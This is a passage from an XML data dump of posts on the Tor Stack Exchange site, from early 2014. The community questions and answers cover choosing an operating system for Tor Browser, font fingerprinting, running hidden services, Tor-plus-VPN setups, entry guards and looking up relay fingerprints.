is not recommended as it decreases your anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You cannot add more IP addresses Tor chooses from (short of running your own Tor exit servers). Tor already chooses among all available.&lt;/p&gt;&#xA;" OwnerUserId="962" LastActivityDate="2014-01-28T15:56:33.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1386" PostTypeId="1" AcceptedAnswerId="1388" CreationDate="2014-01-28T15:58:44.483" Score="4" ViewCount="581" Body="&lt;p&gt;Different OS platforms offer advantages and disadvantages in term of security as far as user is concerned. Some maybe open-source, others may not be. Some may have huge user base, others may have a moderate user base. Some maybe more and others maybe less leaky than others. Some maybe more tamper resistant and some less tamper resistance than others. Some maybe more resistant to malware and other maybe less resistant to malware and so on. What is the preferred OS platform with respect to TBB in the sense of minimization of security risks?&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-03-06T16:31:23.373" LastActivityDate="2014-03-06T16:31:23.373" Title="What is the preferred OS platform with respect to TBB in the sense of minimization of security risks?" Tags="|tor-browser-bundle|security|platform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1387" PostTypeId="2" ParentId="1366" CreationDate="2014-01-28T16:11:37.607" Score="2" Body="&lt;p&gt;This has nothing to do with JavaScript, this font loading is done by CSS (the stylesheets). Technically it is no different than loading of images, except that fonts you already have on your system may not be loaded, allowing for some guessing what OS you run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is already a patch in Tor Browser that mitigates some of the worst risks with this way to load fonts, while still not disabling the font loading completely (as that would render some sites useless). The test site you visit maybe does not know about this patch, and falsely believes you are open to a serious fingerprinting issue because font loading is still allowed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The patch in question (which prefer webfonts to prevent loading of system fonts when fingerprintable, and limit total number of system fonts, I believe):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor-browser.git/commit/217c0d2cdb8d884dc5c3fd638189dd7dd80ff8d5&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/tor-browser.git/commit/217c0d2cdb8d884dc5c3fd638189dd7dd80ff8d5&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="962" LastActivityDate="2014-01-28T16:11:37.607" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1388" PostTypeId="2" ParentId="1386" CreationDate="2014-01-28T16:33:27.957" Score="5" Body="&lt;p&gt;Answer: Tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tails.boum.org/&quot;&gt;https://tails.boum.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though Tails is without doubt the most secure OS you can get for Tor, it may not be suitable for you in every senario. One reason is because it is a live system, not an installed system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want an installed system, most larger Linux distributions is probably also safe (e.g. Debian, Fedora). The exception is Ubuntu, which is very leaky by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To not upset the FreeBSD/OpenBSD users, those is probably also safe.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For the paranoid:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The unfortunate truth is that there does not exist any secure operating systems. There does not exist any way to prove that an OS does not contain any security issues. There does not exist any way to prove that an OS is not backdoored. And the situation is worse that that; not only does there not exist any method to prove they are secure, they are not secure. Every week new vulnerabilities are found, which possibly can be used to compromise your system without you knowing it. Even if you update your OS every day (which you should), it will not be secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All operating systems for end-users out there can only be put in two categories: Low security, and totally unsecure.&lt;/p&gt;&#xA;" OwnerUserId="962" LastActivityDate="2014-01-28T16:33:27.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1391" PostTypeId="2" ParentId="1337" CreationDate="2014-01-28T23:02:39.893" Score="8" Body="&lt;p&gt;I discussed your question in the &lt;a href=&quot;https://www.torproject.org/about/contact.html.en#irc&quot;&gt;#tor IRC channel&lt;/a&gt;. phobos and velope helped with this answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I fiddled around with your question I tried to create a large number of hidden services (HS). It was quite easy to create 100 HS, but when I started Tor, the process run for some minutes on 100% CPU utilization. There was no impact on the memory. I looked it up with &lt;code&gt;free -m&lt;/code&gt;. The numbers before the creation and afterwards were nearly the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;phobos reported that he created 5000 HS once. It tool Tor quite some time to start, because it has to create lots of circuits. In the end all services ran on one computer and caused no performance issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in general there is no limit for a number of hidden services. You can run as many as you want. Also there seems no performance degradation, besides the fact, that Tor needs some time for start-up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Youi can run a quite larger number of hidden services on one machine. However if you plan to start a new Freedom Hosting, here is one hint: Don't do it! ;-)&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-01-28T23:02:39.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1392" PostTypeId="5" CreationDate="2014-01-28T23:33:52.300" Score="0" Body="" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-01-28T23:33:52.300" LastActivityDate="2014-01-28T23:33:52.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1393" PostTypeId="4" CreationDate="2014-01-28T23:33:52.300" Score="0" Body="SOCKS (Socket Secure) routes network packets between clients and servers through a proxy server. It operates at Layer 5 of the OSI model." OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-01-28T23:33:52.300" LastActivityDate="2014-01-28T23:33:52.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1394" PostTypeId="1" CreationDate="2014-01-29T00:02:11.037" Score="1" ViewCount="4121" Body="&lt;p&gt;I opened utorrent to use it without root and the only thing I see is incoming tcp port.  Will it automatically fill this in or do I need to put in another number? &lt;/p&gt;&#xA;" OwnerUserId="1038" LastEditorUserId="71" LastEditDate="2014-01-29T00:36:04.117" LastActivityDate="2014-06-09T20:03:50.127" Title="Will utorrent work with orbot?" Tags="|orbot|bittorrent|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1395" PostTypeId="1" CreationDate="2014-01-29T03:59:43.843" Score="1" ViewCount="17537" Body="&lt;p&gt;When I double click on the &lt;code&gt;tor.exe&lt;/code&gt;,  a window comes up saying &quot;connecting to the Tor Network&quot;.  The status bar goes almost half way and stops.  I am using Windows 7 64 bit and NOT using any proxies. Where could be a problem?&lt;/p&gt;&#xA;" OwnerUserId="1039" LastEditorUserId="114" LastEditDate="2014-01-31T11:44:27.373" LastActivityDate="2015-10-24T00:17:21.630" Title="Cannot connect to Tor network" Tags="|tor-browser-bundle|windows|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1396" PostTypeId="2" ParentId="1395" CreationDate="2014-01-29T08:37:22.730" Score="1" Body="&lt;p&gt;The Tor Browser Bundle has a start script which is called &lt;code&gt;Start Tor Browser&lt;/code&gt; (maybe appended with &lt;code&gt;.exe&lt;/code&gt;). It is in the directory where you unpacked the software. The &lt;code&gt;tor.exe&lt;/code&gt; is probably in the &lt;code&gt;Tor/&lt;/code&gt; subdirectory. So when you navigate one level up, you'll see the start script. Double-click on it. After a short waiting time the Tor Browser will pop up and you can use the software.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-01-29T08:37:22.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1397" PostTypeId="5" CreationDate="2014-01-29T10:44:54.440" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://openvpn.net/&quot; rel=&quot;nofollow&quot;&gt;OpenVPN&lt;/a&gt; implements a virtual private network (VPN) and allows to create secure connections from one user to another (point-to-point) or from one network to another (site-to-site). &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/OpenVPN&quot; rel=&quot;nofollow&quot;&gt;Wikipedia: OpenVPN&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-01-29T10:44:54.440" LastActivityDate="2014-01-29T10:44:54.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1398" PostTypeId="4" CreationDate="2014-01-29T10:44:54.440" Score="0" Body="OpenVPN implements a virtual private network over TCP or UDP. It is Free Software." OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-01-29T10:44:54.440" LastActivityDate="2014-01-29T10:44:54.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1399" PostTypeId="1" CreationDate="2014-01-29T12:36:43.893" Score="1" ViewCount="209" Body="&lt;p&gt;What is the correct way to refer to the Tor hidden services network. &quot;Hidden services&quot; is the name of the technology used (and individual servers), but what is the name of the resulting network and community?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe I may have heard something similar to &quot;onionland&quot; long ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example sentence: &quot;Contrary to popular belief, much of the content on X is not illegal at all.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Saying &quot;Tor hidden services network&quot; is too long, so what does one say instead of X?&lt;/p&gt;&#xA;" OwnerUserId="962" LastActivityDate="2014-06-29T05:02:57.807" Title="How to refer to Tor hidden services network and community" Tags="|onion-services|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1400" PostTypeId="2" ParentId="1399" CreationDate="2014-01-29T12:46:18.587" Score="0" Body="&lt;p&gt;Many people refer to this as the &quot;Dark Net&quot; or &quot;Deep Web&quot;. There was talk about an &quot;invisible web&quot; back in the 01990's, but recently the Dark Net &amp;amp; Deep Web terms appear to be most prevalently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's interesting to notice that &quot;Deep Web&quot; tends to be used more often in the tech community and &quot;Dark Net&quot; tends to be more popular among politicians and news agencies, probably because it sounds more sensational.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this isn't limited to Tor's Hidden Services but would also include I2P and similar projects.&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2014-01-29T12:46:18.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1401" PostTypeId="2" ParentId="1399" CreationDate="2014-01-29T12:58:32.163" Score="1" Body="&lt;p&gt;When you want to talk specifically about Tor Hidden Services, you should write Tor Hidden Services or short Hidden Services. The term hidden services network does not exist, because the hidden services don't form a network. Hidden services usually are standalone services, even though they are connected through the 'Internet'. When there is a set of some random websites, generally nobody calls them a website network. They are considered as stand-alone websites even though they are connected through the 'Internet'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It you want to talk in broader terms you could use the term &lt;em&gt;Dark Web&lt;/em&gt;. The Tor trac wiki has a page on the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/HowBigIsTheDarkWeb&quot; rel=&quot;nofollow&quot;&gt;Dark/Deep web&lt;/a&gt; and defines:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Dark web&lt;/strong&gt;: that portion of the web which cannot be easily reached from the public Internet, and usually requires specialized software to access. Examples of the dark web are the Tor network and hidden services, the I2P network and its eepsites, and the RetroShare network. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-01-29T13:19:35.587" LastActivityDate="2014-01-29T13:19:35.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1402" PostTypeId="1" CreationDate="2014-01-29T13:34:31.247" Score="8" ViewCount="6308" Body="&lt;p&gt;Do anyone know of any free (as in no payment, no ads, and no invites needed) web hosting provider inside the onion network currently? Or did everything die with Freedom Hosting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want anything fancy, static web hosting is fine (as in no PHP or other serverside scripting). Reliability and available storage space is more important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the purpose of this question, hosting a server myself is not possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware that one also need to announce the website to the world for anyone to know it exists and be able to find it.&lt;/p&gt;&#xA;" OwnerUserId="962" LastActivityDate="2016-03-05T07:03:59.883" Title="Free static web hosting inside the Tor hidden services network" Tags="|onion-services|freedom-hosting|web-hosting|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1406" PostTypeId="1" AcceptedAnswerId="1436" CreationDate="2014-01-29T14:56:18.807" Score="2" ViewCount="114" Body="&lt;p&gt;The most significant attacks against Tor users have been done via malware; Even when additional security measures such as &quot;Gap&quot; is used in addition to Tor. What is the state of the art technology to defend against these attacks?&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-02-02T19:09:13.610" LastActivityDate="2014-12-18T18:35:14.887" Title="Most serious and significant attacks on Tor users have been done via malware. What is the state of the art technology to defend against this?" Tags="|security|" AnswerCount="2" CommentCount="3" ClosedDate="2014-09-09T17:14:45.110" ContentLicense="CC BY-SA 3.0" />
  <row Id="1407" PostTypeId="5" CreationDate="2014-01-29T15:47:57.010" Score="0" Body="" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-01-29T15:47:57.010" LastActivityDate="2014-01-29T15:47:57.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1408" PostTypeId="4" CreationDate="2014-01-29T15:47:57.010" Score="0" Body="VPN stands for Virtual Private Network. It enables a computer to send/retrieve data over public networks and to access resources in private networks. VPN make use of encryption to secure their data. " OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-01-29T15:47:57.010" LastActivityDate="2014-01-29T15:47:57.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1409" PostTypeId="2" ParentId="1406" CreationDate="2014-01-29T20:08:46.353" Score="3" Body="&lt;p&gt;The best defenses against malware are, first, keeping your systems patched, and second, being wary about what you give permission to for running under your account or under a superuser (administrator/root) account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An adversary targeting Tor users specifically may go after Tor Browser Bundle components.  If you keep your Tor Browser Bundle updated, you will likely not be taken over through the TBB by most attackers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an adversary first has an 0day exploit for TBB or other software you use, and second, is willing to take the chance of burning that 0day by using it, then you are at risk.  Think on your threat model, and make your decisions accordingly.&lt;/p&gt;&#xA;" OwnerUserId="314" LastActivityDate="2014-01-29T20:08:46.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1410" PostTypeId="5" CreationDate="2014-01-29T20:45:37.323" Score="0" Body="" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-01-29T20:45:37.323" LastActivityDate="2014-01-29T20:45:37.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1411" PostTypeId="4" CreationDate="2014-01-29T20:45:37.323" Score="0" Body="Tor has developed several internal protocols, like the rendezvous specification, directory specification etc. This tag is for questions which deal with protocols Tor uses." OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-01-29T20:45:37.323" LastActivityDate="2014-01-29T20:45:37.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1412" PostTypeId="2" ParentId="931" CreationDate="2014-01-29T21:01:59.877" Score="3" Body="&lt;p&gt;I had a similar problem, though the firefox process was closed. Additionally if I tried to open TorBrowser parallel to normal Firefox it just opened another (normal) Firefox window. I had installed TorBrowser on C:\Program Files\Tor Browser. Try to extract the Tor Browser Bundle on another partition, on an external harddrive or an USB-stick. This worked in my case.&lt;/p&gt;&#xA;" OwnerUserId="1042" LastActivityDate="2014-01-29T21:01:59.877" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1413" PostTypeId="2" ParentId="1386" CreationDate="2014-01-29T21:02:19.297" Score="1" Body="&lt;p&gt;Which OSes do you (or your helpers, paid or free) know how to administer most safely (fixing security bugs, making sure configuration is safe)? And which of those has a currently maintained Tor Browser Bundle available for it? As a first cut, use that one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a second cut, look at Threat Event Frequency estimates. How many Threat Agents are there in the world potentially interested in you who are also skilled in breaking a particular OS or its applications? How likely are they to come after your systems? Then, how easy will it be for them to get into your systems when they do pay attention to you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The general population of Threat Agents typically go after bank accounts, and their attack frequency is fairly high. There are many, many Threat Agents skilled at attacking MS Windows (despite MS Windows skilled engineers making it objectively harder to break into in the last 5-8 years). There are significantly fewer skilled at attacking Mac OS X and Linux distributions, and even fewer capable of doing something on FreeBSD (including Dragonfly, PCBSD, ..), NetBSD, and OpenBSD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A less general population of Threat Agents will go after people performing activities they don't like, generally speaking. These agents includes everything from well funded government employees (spies, or law enforcement) to patriotic hackers and similar activists up to obsessed griefers. There is a more level spread of skills in various OSes in this population, though MS Windows is still generally the best understood.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Tor specifically, if you consider yourself at highest risk from the general Threat Agent population described above, I suggest Tails, or running TBB under Linux, Mac OS X, or MS Windows (in order).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, try Tails &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/&lt;/a&gt; as suggested elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, I would consider running the Tor Browser Bundle (always latest version) on debian or Fedora Linux (always keeping them updated with patches). Find someone to help you run debian or Fedora Linux safely. Both are actively developed and maintained, so patches will be available relatively quickly for any discovered security problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, I might try Mac OS X, or after that, Windows. Like above, keep the Tor Browser Bundle and OS aggressively up to date. The reason I would do these as a third choice comes down to Threat Agent skill sets (against MS Windows) and the slightly more opaque configuration of Mac OS X for safety making it harder to find experts to help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you consider a far more specific Threat Agent likely to come after you, you may be able to dodge their skill sets by going for the cutting edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this, perhaps find a way to build the Tor Browser Bundle for OpenBSD armish, and use that (always keeping both at the latest version, patched). This build will not be a trivial task, but it should be achievable. And if you get TBB built for OpenBSD on arm reliably, some others who want the same will be very happy if you share.&lt;/p&gt;&#xA;" OwnerUserId="314" LastActivityDate="2014-01-29T21:02:19.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1415" PostTypeId="1" AcceptedAnswerId="1508" CreationDate="2014-01-30T12:42:59.203" Score="2" ViewCount="667" Body="&lt;p&gt;I have repeatedly seen people describe combining Tor and a VPN using the following notation: &lt;code&gt;Tor --&amp;gt; VPN&lt;/code&gt;  or &lt;code&gt;VPN --&amp;gt; Tor&lt;/code&gt; or even &lt;code&gt;Tor --&amp;gt; VPN --&amp;gt; Proxy&lt;/code&gt; but then not provide any real-world example of how this is set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, does &lt;code&gt;Tor --&amp;gt; VPN&lt;/code&gt; mean that I have a VPN client running on my Mac through which all of my traffic is tunnelled, then point Firefox to a locally running instance of Tor thereby all of my Tor  traffic is running inside of the VPN tunnel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is it something else entirely? Can somebody please give me a concrete example of each setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I really should've added an example of what I was talking about, I was primarily referring to the examples given in the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorPlusVPN&quot; rel=&quot;nofollow&quot;&gt;Tor wiki&lt;/a&gt; on the subject.&lt;/p&gt;&#xA;" OwnerUserId="1045" LastEditorUserId="1045" LastEditDate="2014-01-30T15:36:32.187" LastActivityDate="2014-02-11T20:17:45.853" Title="Can somebody clarify the Tor --&gt; VPN and VPN --&gt; Tor notation please?" Tags="|vpn|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1416" PostTypeId="1" AcceptedAnswerId="1452" CreationDate="2014-01-30T19:23:14.003" Score="2" ViewCount="375" Body="&lt;p&gt;One may use multiple systems to connect to Tor. It maybe done from different physical locations. Sometimes it is direct access to Tor, other times connection to Tor maybe via VPN. My question is how does Tor keep the entry guards persistent? What is the actual process to keep the entry guard persistent?&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-03-06T15:50:00.887" LastActivityDate="2014-03-06T15:50:00.887" Title="Entry guards are persistent for a period of time when using Tor. How is it done?" Tags="|guard|persistent|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1417" PostTypeId="2" ParentId="758" CreationDate="2014-01-30T20:37:56.903" Score="6" Body="&lt;p&gt;The recommended way to browse the web through Tor is to use the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html&quot;&gt;Tor Browser Bundle&lt;/a&gt;. Using any other browser will make you different from the common anonymity set of Tor users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the configuration of the Tor Browser is not recommended exactly for the same reason: it is likely to make the browser behave differently from everyone else's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails include a browser which supports both Tor and I2P using FoxyProxy. See the &lt;a href=&quot;https://tails.boum.org/contribute/design/I2P/&quot;&gt;design document&lt;/a&gt; for more information. As Tails' user form their own anonymity set, it's a way to use both protocols in a single browser.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-01-30T20:37:56.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1418" PostTypeId="1" CreationDate="2014-01-30T23:20:35.300" Score="5" ViewCount="154" Body="&lt;p&gt;Let's say LE knows who I am ... they already know I am using Tor. Is there a way for them to create a surveillance from my ISP ? You will say Tor is encrypted except exit relay ... but common to the first node... I have to send the encryption code also so the message is decrypted , right? Also when I get back the response, Tor already know my encryption code... so is Tor safe if Law Enforcement will do a &quot;man in the middle&quot; attack exactly between me and my ISP ?&lt;/p&gt;&#xA;" OwnerUserId="1047" LastEditorUserId="88" LastEditDate="2014-07-04T20:48:57.863" LastActivityDate="2014-07-04T20:48:57.863" Title="Tor security if LE/ISP want me really bad" Tags="|security|encryption|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1419" PostTypeId="2" ParentId="1418" CreationDate="2014-01-31T02:45:36.047" Score="1" Body="&lt;p&gt;Tor uses public key encryption.&lt;br/&gt;&#xA;Everybody creates a public / private key pair.&lt;br/&gt;&#xA;The public key is used to encrypt data.&lt;br/&gt;&#xA;The private key is used for decrypting data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Public keys are publicly known so anybody can encrypt data.&lt;br/&gt;&#xA;Private keys are kept secret, so only the person who knows it can decrypt the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor uses this to avoid the attack that you're describing.&lt;br/&gt;&#xA;You may find this &lt;a href=&quot;http://youtu.be/M7kEpw1tn50&quot; rel=&quot;nofollow&quot;&gt;youtube video&lt;/a&gt; useful.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-01-31T02:45:36.047" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1420" PostTypeId="1" CreationDate="2014-01-31T02:58:52.080" Score="1" ViewCount="4347" Body="&lt;p&gt;I'm running a whonix gateway as well as an Android VM via Genymotion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be possible to route my traffic on the Android VM through the whonix gateway?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know whonix can be used in conjunction with other OSes but have been unable to find anything regarding whonix and Android.&lt;/p&gt;&#xA;" OwnerUserId="1049" LastActivityDate="2014-09-29T05:15:40.263" Title="Whonix + Android VM" Tags="|whonix|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1422" PostTypeId="1" CreationDate="2014-01-31T13:45:29.540" Score="4" ViewCount="5132" Body="&lt;p&gt;I recently checked &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://check.torproject.org/&lt;/a&gt; and noticed &lt;strong&gt;Atlas&lt;/strong&gt; to get information for the &lt;strong&gt;exit node&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to craft and directly open the url for the relay without going through the Tor Project link above — but I need the fingerprint for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://atlas.torproject.org/#details/FINGERPRINT&quot; rel=&quot;nofollow&quot;&gt;https://atlas.torproject.org/#details/FINGERPRINT&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I glean the &lt;strong&gt;exit's node fp&lt;/strong&gt; from TBB 3.5?&lt;/p&gt;&#xA;" OwnerUserId="1052" LastEditorUserId="923" LastEditDate="2014-02-28T23:14:18.723" LastActivityDate="2014-02-28T23:14:18.723" Title="How can I get a relay's fingerprint?" Tags="|tor-browser-bundle|exit-relays|atlas|torcheck|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1423" PostTypeId="2" ParentId="1422" CreationDate="2014-01-31T13:57:41.500" Score="2" Body="&lt;p&gt;Click the link that says Atlas below your exit IP. This will open up the Atlas details page for that relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KNtHK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2014-01-31T13:57:41.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1424" PostTypeId="1" CreationDate="2014-01-31T15:50:15.777" Score="2" ViewCount="197" Body="&lt;p&gt;I´m using Tor browser bundle (v. 3.5).&#xA;As I see there are four add-ons preinstalled: HTTPS-Everywhere, NoScript, and of course&#xA;Torbutton and TorLauncher.&#xA;I also understand that one shouldn´t install any further add-ons as they might pose a risk as far as anonymity is concerned.&#xA;However I´d very much like to install the WOT-add-on as it provides some really good information about security of websites.&#xA;Does anybody know whether it is safe to use this particular add-on?&lt;/p&gt;&#xA;" OwnerUserId="1053" LastEditorUserId="923" LastEditDate="2014-07-04T20:48:21.867" LastActivityDate="2014-07-04T20:48:21.867" Title="WOT-add-on with Tor browser bundle" Tags="|tor-browser-bundle|anonymity|plugin|" AnswerCount="0" CommentCount="1" ClosedDate="2015-08-25T06:14:19.787" ContentLicense="CC BY-SA 3.0" />
  <row Id="1425" PostTypeId="2" ParentId="1422" CreationDate="2014-01-31T20:32:41.513" Score="1" Body="&lt;p&gt;You can lookup a relay by its IP address:&#xA;&lt;a href=&quot;https://atlas.torproject.org/#search/82.72.118.90&quot; rel=&quot;nofollow&quot;&gt;https://atlas.torproject.org/#search/82.72.118.90&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I glean the fp from TBB 3.5?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The fingerprint of which relay? The relay linked on &lt;strong&gt;the Tor page&lt;/strong&gt; is the exit you used to get to &lt;strong&gt;the Tor page&lt;/strong&gt;. All your connections may not use the same exit node, and until you make a circuit, you have no exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit again:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your Tor listens to a control port, you can connect to it and issue this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getinfo circuit-status&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For all your circuits, it lists the fingerprint and nickname of the guard, middle, and exit node. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely you will have more than one circuit and more than one exit node. You don't know from where you exit until you make a connection, and actually exit from somewhere.&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="350" LastEditDate="2014-02-01T20:09:24.550" LastActivityDate="2014-02-01T20:09:24.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1426" PostTypeId="2" ParentId="1418" CreationDate="2014-01-31T20:50:07.350" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;but common &lt;strong&gt;to the first node&lt;/strong&gt;... i must to send the encryption code also so the message is decrypted , right?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The first node&lt;/strong&gt; is the Tor client on your local machine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The connection from your browser to your Tor client is socks. From there, the connection to the guard node is encrypted. The guard can not decrypt your traffic. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-01-31T20:50:07.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
